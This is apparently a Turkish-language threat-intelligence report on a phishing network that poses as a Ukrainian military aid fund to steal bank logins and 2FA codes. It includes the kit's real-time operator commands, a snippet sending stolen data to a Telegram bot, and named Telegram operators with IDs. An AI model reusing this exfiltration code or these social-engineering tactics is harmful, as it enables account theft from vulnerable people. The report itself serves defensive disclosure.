Askeri Yardım Konulu Kimlik Avı Ağı Ortaya Çıktı: 5 Banka Hedef Alındı, Failler Tespit Edildi

PhishDestroy’un Buldukları

20 Mart 2026 tarihinde, PhishDestroy’un otomatik tehdit algılama Pipeline şu durumu tespit etti: dopomogvoina[.]sbs — [ad]'yi taklit eden bir kimlik avı sitesini barındıran, yeni kayıt edilmiş bir alan adı "Koruyucunun Kalkanı" (Shield of the Defender), uydurma bir Ukrayna askeri yardım vakfı. Bu site, Ukrayna’daki askeri gazileri, savaşta yaralananları ve şehit askerlerin ailelerini hedef alıyor; hükümetten mali yardım vaadinde bulunurken, Ukrayna’nın en büyük beş bankasının banka hesap bilgilerini çalıyor.

Aşağıda, otomatik analizimizin ortaya çıkardığı her şeyin eksiksiz bir dökümü yer almaktadır: sosyal mühendislik, teknik altyapı, gerçek zamanlı operatör kontrol sistemi ve sistemi yöneten kişilerin kimlikleri.

1. Bölüm: Yem — Sahte Askeri Yardım Vakfı

Alan adı dopomogvoina[.]sbs 20 Mart 2026 tarihinde şu yolla tescil edildi: NiceNIC Uluslararası Grup A.Ş., kötüye kullanım vakalarına yavaş ya da hiç yanıt vermediği konusunda pek çok kayıt bulunan bir kayıt kuruluşu. Bu .sbs TLD (Side-By-Side), tek kullanımlık kimlik avı altyapıları için sıklıkla istismar edilen, düşük maliyetli bir gTLD’dir.

Site, resmi kurumlarla bağlantılı profesyonel bir yardım portalı olarak kendini tanıtmaktadır. Başlık kısmında Ukrayna bayrağı yer almakta, askeri görseller siteye güvenilirlik katmakta ve sayfa, meşru devlet programlarını yansıtan bürokratik bir üslupla özenle Ukraynaca yazılmıştır.

Ekran görüntüsü 5 — "Щит Захисника" (Savunucunun Kalkanı) adını taklit eden kimlik avı sitesinin ana sayfası.

Güvenilirlik yaratmak amacıyla, işletmeciler ana sayfada göze çarpan bir yerde görüntülenen bir istatistik sayacı uydurdular:

• 2.847 başvuru — bu da binlerce kişinin halihazırda yardım aldığını ima ediyor
• 47,2 milyon ₴ dağıtıldı — UAH’da iri yapılı ama inandırıcı bir karakter
• 19 program — kapsamlı, çok programlı bir operasyonun gerçekleştirilmesini öneren

Bu rakamlar tamamen uydurma olup, arka uç bağlantısı olmaksızın sayfa kaynağına sabit olarak kodlanmıştır. Tek bir amaca hizmet ederler: kurbanın tereddütlerini ortadan kaldırmak için sosyal kanıt sağlamak.

2. Bölüm: Tuzak — 5 Banka, Tek Hedef

"Подати заявку" (Başvuruyu Gönder) düğmesine tıkladıktan sonra, mağdurun karşısına bir banka seçim ekranı çıkar. Ukrayna'nın en büyük beş perakende bankası, her biri kendi resmi markası ve logosu ile birlikte seçenekler arasında yer alır. İşte bu noktada sosyal mühendislik, duygusal manipülasyondan teknik hırsızlığa doğru yön değiştirir.

Ekran görüntüsü 6 — Banka seçim ekranı. Her seçenek, özel bir kimlik bilgisi hırsızlığı sürecine yol açar.

Sitenin JavaScript paketinin incelenmesi sonucunda, her bir bankanın bir benzersiz, çok aşamalı kimlik bilgisi toplama süreci, söz konusu bankanın gerçek kimlik doğrulama akışına uyacak şekilde uyarlanmış:

Her bankaya yönelik saldırı süreci aynı şemayı izler:

Ekran görüntüsü 7 — Taklit edilmiş PrivatBank giriş sayfası.

Ekran görüntüsü 9 — Kopyalanmış PUMB giriş sayfası.

Ekran Görüntüsü 10 — Saldırı sürecinin tamamı: sahte askeri yardım sayfasından başlayıp, banka seçimi aşamasından geçerek kimlik bilgilerinin çalınmasına ve hesabın ele geçirilmesine kadar.

Teknoloji yığını: React SPA ön uç şu yolla sunulur: Cloudflare CDN, bir Express.js kimlik bilgilerinin sızdırılmasını sağlayan arka uç sistemi. React mimarisi, meşru bankacılık arayüzlerinden ayırt edilemeyen, kesintisiz çok adımlı formların oluşturulmasına olanak tanır.

Bölüm 3: Gerçek Zamanlı Operatör Kontrolü

Bu, statik bir veritabanına sahip basit bir kimlik bilgisi toplayıcı değildir. Bu kimlik avı kiti şunları içerir: canlı WebSocket kontrol paneli bu sayede bir operatörün her bir kurban oturumunu gerçek zamanlı olarak kontrol etmesine olanak tanır.

Şu adresteki WebSocket uç noktası: wss://dopomogvoina[.]sbs/ws aşağıdaki mesaj türlerini destekler:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Bu gerçek zamanlı kontrol sayesinde operatör şunları yapabilir:

• Bekleme durumuna zorla — kurbanın gerçek banka hesabına giriş yaparken "Başvurunuz işleniyor..." mesajını görüntülemek
• Belirli bir adıma yönlendirme — ilk SMS kodu geçerlilik süresi dolmuşsa, kodu yeniden isteyin
• Sahte hata mesajlarını göster — "Geçersiz kod, lütfen tekrar girin" uyarısıyla birden fazla 2FA jetonu toplamak
• Özel sorular sorun — oturum sırasında doğum tarihi, kart numarası veya başka herhangi bir bilgiyi istemek

Ekran görüntüsü 8 — Kimlik bilgilerinin çalınmasını başlatmak için kullanılan telefon numarası giriş formu.

Ekran görüntüsü 11 — Operatörün kurbanların oturumlarını kontrol etmek için kullandığı gerçek zamanlı bot paneli.

Her oturumda çalınan verilerin tam kapsamı: phone, password, PIN, SMS code, card number, date of birthve email.

4. Bölüm: Cloudflare’in Perde Arkası — İki Proje, Tek Sunucu

Cloudflare’ın proxy hizmeti kaynak sunucuyu gizler, ancak PhishDestroy’un altyapı analiz Pipeline süreci gerçek kaynak IP adresini tespit etti: 45.131.214[.]148, barındırıldığı yer: RapidSeedbox / LeaseWeb Hollanda'da.

Önemli bir ayrıntı: dopomogvoina[.]sbs şu yol üzerinden yönlendirilir: Cloudflare, kaynak IP adresini gizleyerek. Ancak sistemimiz ayrıca şunları da izler: hlpforvpeople[.]sbs — aynı NiceNIC kayıt kuruluşu aracılığıyla kaydedilmiş ve benzer desenlere sahip ilgili bir alan adı. Bu alan adı şudur: Cloudflare’in arkasında DEĞİL, kaynak IP adresini doğrudan ifşa ederek: 45.131.214[.]148.

Bu IP adresine doğrudan bağlanmak — bir Host başlık — beklenmedik bir şeyi ortaya çıkardı: bir tamamen farklı bir kimlik avı sitesi. Ukrayna’ya askeri yardım yerine, varsayılan vhost şu hizmeti sundu: "Sağlık Kimliği", Endonezya kaynaklı bir sağlık sigortası kimlik avı operasyonu. Aynı sunucu, tamamen farklı kurbanlar, tamamen farklı bir ülke.

Ekran Görüntüsü 12 — Aynı kaynak sunucuyu paylaşan iki paralel kimlik avı operasyonu: Ukrayna askeri yardımı (dopomogvoina) ve Endonezya sağlık sigortası (HealthCare ID).

Endonezya dilinde hazırlanmış bu kimlik avı şablonu bir PhishDestroy’un tehdit istihbarat veritabanında izlenen bilinen kit. Bu şablonun tam olarak aynısının Güneydoğu Asya genelinde, Endonezya, Tayland ve Vietnam’daki finans kurumlarını hedef alarak kullanıldığını gördük. Operatörler, aynı arka uç altyapısını yeniden kullanırken sadece ülkeye özgü şablonları değiştiriyorlar.

5. Bölüm: Her Şeyi Ortaya Çıkaran config.json Dosyası

İşte tek bir yanlış yapılandırılmış dosyanın tüm operasyonu nasıl altüst ettiği — adım adım.

Kaynak sunucunun ikinci projesini belirledikten sonra, PhishDestroy'un JS Analiz Aracı — otomatik JavaScript analiz aracımız — Endonezya’daki kimlik avı sitesinin paketine yönlendirildi: https://45.131.214[.]148/assets/index-ZMQxHb_h.js. Analiz aracı, 335 KB boyutundaki JavaScript dosyasından tüm API uç noktalarını, harici URL’leri ve yapılandırma yollarını çıkardı. Bulgular arasında şunlar yer alıyor:

• Beş API uç noktası şu adreste: rezervtemka[.]cc — kimlik bilgilerinin doğrulanması için C2 paneli
• [adres] adresine bir WebSocket bağlantısı wss://rezervtemka[.]cc
• Mağdurların takibi için Facebook Pixel entegrasyonu
• Şuna atıfta bulunulmaktadır: /config.json — Telegram botunun yapılandırması için çalışma zamanında yüklenir

Bu ipucunu takip ederek şunu aldık: /config.json kaynak IP adresinden. Dosyaya herhangi bir kimlik doğrulama gerekmeden erişilebiliyordu — web kök dizininde bulunuyordu ve herkes tarafından okunabilirdi:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

Şu /config.json dosyaya kaynak IP adresinden doğrudan erişilebiliyordu — kimlik doğrulama yok, erişim kontrolü yok, sadece web kök dizininde duran sıradan bir JSON dosyası:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Bir Telegram botu jetonu, hem kullanıcı adı hem de şifre işlevi görür. Jetonu elinde bulunduran kişi, o bot adına API çağrıları yapabilir. Operatörler, kendi jetonlarını herkese açık bir dosyada bırakmışlardı. Altı API çağrısından sonra, her şeye sahip olmuştuk:

Ekran Görüntüsü 13 — Tam OSINT zinciri: Açığa çıkan config.json dosyasından, 6 API çağrısıyla operatörün tam kimliğinin tespitine kadar.

Tek bir yanlış yapılandırılmış dosyadan başlayarak, altı HTTP isteği ile operatörün tam kimliğinin tespit edilmesine kadar. Hiçbir güvenlik açığı, hiçbir yetkisiz erişim — sadece operatörlerin kendilerinin açıkta bıraktığı bir jeton kullanılarak yapılan standart Telegram Bot API çağrıları.

6. Bölüm: Operatörler

Ekran Görüntüsü 14 — Sızan bot jetonu sayesinde ortaya çıkan “Idr card” Telegram operatör grubu.

Sahibi / Yaratıcısı

MONETTI ESCOBAR

@monettiescobar

Telegram Kimliği: 8135223234

Telegram Premium, İşletme profili

Zaman dilimi: UTC+3 (CIS bölgesi)

10 adet genel mesaj — sıkı OPSEC

TraFFeeQ SohbetiMedusa Google AdsDeepfakes kanalı

Operatör / Trafik

Bonya

@BoaCC159

Telegram Kimliği: 6242202706

Diğer adları: PapaZakonVor, Boa, bubullikk

12 grupta toplam 261 mesaj

DC2 — Amsterdam, Hollanda

CryptoGrabSTYX PazarıRaven CCEMPIRE SOHBETİPhoenix Çözümü

Geliştirici / Kodlayıcı

Devoys

@devosus

Telegram Kimliği: 8213612730

Kimlik avı kiti geliştiricisi — operatörler ona “kodcu” diye hitap ediyor

İhlal tespit edildiğinde “savunmayı düşünmesi” istendi

Tasarım gereği kamusal alanda en az yer kaplama

Kulp @devosus ≈ "dev ops us" — kullanıcı adı olarak iş unvanı

Kit geliştiricisiAltyapıGüvenlik

MONETTI ESCOBAR — Patron

MONETTI, sıkı bir operasyonel güvenlik politikası uygulamaktadır — yalnızca 10 genel mesaj 2 gruba ayrılmış. Ancak gruplar durumu açıkça ortaya koyuyor: TraFFeeQ Sohbeti (dolandırıcılık amaçlı trafik arbitrajı), Medusa Google Ads (siyah şapkalı Google Ads) ve bir Deepfakes kanalı. Telegram’daki iş profilinde “Есть предложение” ("Bir teklifim var") — hizmetlerini açıkça tanıtıyor. UTC+3 saat dilimi (Moskova/Minsk/Kiev ile aynı) ve 7/24 hizmet saatleri, BDT merkezli ve kesintisiz çalışan bir işletme olduğunu doğruluyor.

Bonya — Dikkatsiz Olan

MONETTI’nin titiz OPSEC uygulamasının aksine, Bonya (eski takma adı: PapaZakonVor — kabaca "DaddyThiefByLaw" — geride devasa bir dijital iz bıraktı — 12 yeraltı grubunda toplam 261 mesaj. Sohbet geçmişi adeta bir suçlu özgeçmişi gibi:

Üye olduğu gruplar, onun hakkında eksiksiz bir tablo çiziyor: CryptoGrab (kripto cüzdan soyguncuları), STYX Pazarı (çalıntı veriler için yeraltı pazarı), Raven CC denetleyicisi (kredi kartı doğrulama araçları), EMPIRE SOHBETİ ve Phoenix Çözümü (dolandırıcılık koordinasyonu). Bu, tek seferlik bir suçlu değil — siber suç ekosisteminin içine yerleşmiş biri.

Devoys — Geliştirici

Operasyonun teknik omurgası. Tasarım gereği kamuoyunda neredeyse hiç iz bırakmayan bu yapı — grubun güvenliği aşıldığında Bonya açıkça ona seslendi: "@devosus, kıçımızı parçalamadan önce savunma konusunu bir düşün" — "@devosus, fena halde dayak yemeden önce savunmayı bir düşünelim." Bu ihlale verdiği alaycı yanıt — "Interpol'e ne zaman" ("ne zaman enterpolasyon yapılmalı") — bu durumun onların ilk kez başlarına gelen tehlikeli bir durum olmadığını gösteriyor.

Davranış Analizi: 261 Mesajın Çözümlenmesi

PhishDestroy'un OSINT Pipeline tarafından toplanan ve çevrilen toplam 261 kamuya açık mesaj Bonya’dan alınan, 12 yeraltı Telegram grubuna ait mesajlar (Haziran 2024 — Mart 2026). DeepL API aracılığıyla yapılan makine çevirisi, bağlam açısından manuel olarak düzeltilmiştir. Mesajlar, aşağıda suç türü bazında sınıflandırılmış eksiksiz bir operasyonel profil ortaya koymaktadır.

Bankacılık Dolandırıcılığı ve Kimlik Avı

Para Taşıyıcıları ve Nakit Çekme

Trafik Sahtekarlığı ve Reklam Kötüye Kullanımı

MONETTI ESCOBAR: Sessiz Patron

Bonya'nın 261 mesajıyla tam bir tezat oluşturan MONETTI'nin ise sadece 10 genel mesaj — hepsi tek bir başlık altında TraFFeeQ Sohbeti (Siyah ADS/SEO trafik arbitrajı), bir meslektaşımı savunurken:

MONETTI'nin Telegram grupları geri kalanını anlatıyor: Medusa Google Ads (black-hat PPC dolandırıcılığı), bir Deepfakes kanalı (dolandırıcılık amaçlı sentetik ortamlar) ve MARLBORO SOHBETİ (özel, bilinmiyor). Telegram Premium aboneliği, 7/24 hizmet saatleri ve "Есть предложение" ("Bir teklifim var") iş hayatına dair özgeçmişi, siber suçu tam zamanlı bir iş olarak gören birinin profilini ortaya koyuyor.

Ekran görüntüsü 2 — MONETTI'nin Telegram profili.

Ekran görüntüsü 3 — Bonya'nın profili. DC2'ye (Amsterdam) dikkat edin.

7. Bölüm: Panik Odası

PhishDestroy, güvenlik açığı bulunan Telegram botu aracılığıyla operatör grubuna erişim sağladıktan sonra, aşağıdaki diyalog gerçekleşti. Aşağıdaki sohbet kaydı İngilizceye çevrilmiş olup, orijinal Rusça metin italik olarak korunmuştur. Erişim için kullanılan kimlik bilgileri gizlenmiştir.

Grup birkaç dakika içinde silindi. Bonya’nın veda mesajı — “+” — ve Devoys’un “evet” diye onaylaması her şeyi açıklıyor: Açığa çıktıklarını biliyorlardı ve tek çare kanıtları yok etmekti. Ancak o zamana kadar veriler çoktan toplanmıştı.

Bonya’nın açıklayıcı yorumuna dikkat edin: "Ukrayna botunda da saldırıya uğradık" — Her iki projenin de (Ukrayna ve Endonezya) aynı operatör ekibine sahip olduğunu ve altyapılarının ilk kez saldırıya uğramadığını doğruladı.

8. Bölüm: Bunun Gösterdiği Şey

Soruşturma Zaman Çizelgesi

İlgili Alan Adları

Yaptığımız analizde ikinci bir alan tespit edildi — hlpforvpeople[.]sbs — aynı kayıt kuruluşu aracılığıyla, birbiriyle uyumlu altyapı yapılarına sahip olarak kaydedilmiştir. Her iki alan adı da veritabanımızda kayıtlıdır:

• PhishDestroy Raporu: dopomogvoina[.]sbs
• PhishDestroy Raporu: hlpforvpeople[.]sbs

Önemli Noktalar

• Otomasyon, gelişmelere ayak uydurmanın tek yoludur. Kimlik avı kitleri birkaç saat içinde devreye alınır ve saldırı aracı haline getirilir. Manuel inceleme, bu hızı yakalayacak şekilde ölçeklendirilemez.
• Operatörler hata yapabilir. İkincil bir projede açıkta kalan bir yapılandırma dosyası, çok uluslu bir kimlik avı operasyonunun tamamını ortaya çıkardı. Her projede kusursuz bir operasyonel güvenlik (OPSEC) sağlamak zordur.
• Sosyal mühendislik, haber döngüsüyle birlikte gelişmektedir. Savaş, insani yardım ve devlet programları, meşruiyetini sorgulama olasılığı daha düşük olan, zor durumda bulunan kişileri hedef aldıkları için, kimlik avı tuzaklarında giderek daha fazla istismar edilmektedir.
• Altyapının yeniden kullanımı artık bir normdur. Tek bir sunucu, iki kimlik avı projesi, iki ülke, aynı operatörler. Altyapı bağlantılarını haritalandırmak, tek bir alan adını tek başına analiz etmekten çok daha fazla bilgi ortaya çıkarır.

Yasal Uyarı: Bu araştırma tamamen pasif keşif ve halka açık API’ler aracılığıyla yürütülmüştür. Hiçbir sisteme yetkisiz erişim gerçekleştirilmemiştir. Telegram Bot API çağrılarında, operatörler tarafından kimlik doğrulaması gerektirmeyen bir uç noktada halka açık olarak paylaşılan bir token kullanılmıştır. Bu makaledeki tüm alan adları, standart bilgi güvenliği kuralları uyarınca gizlenmiştir.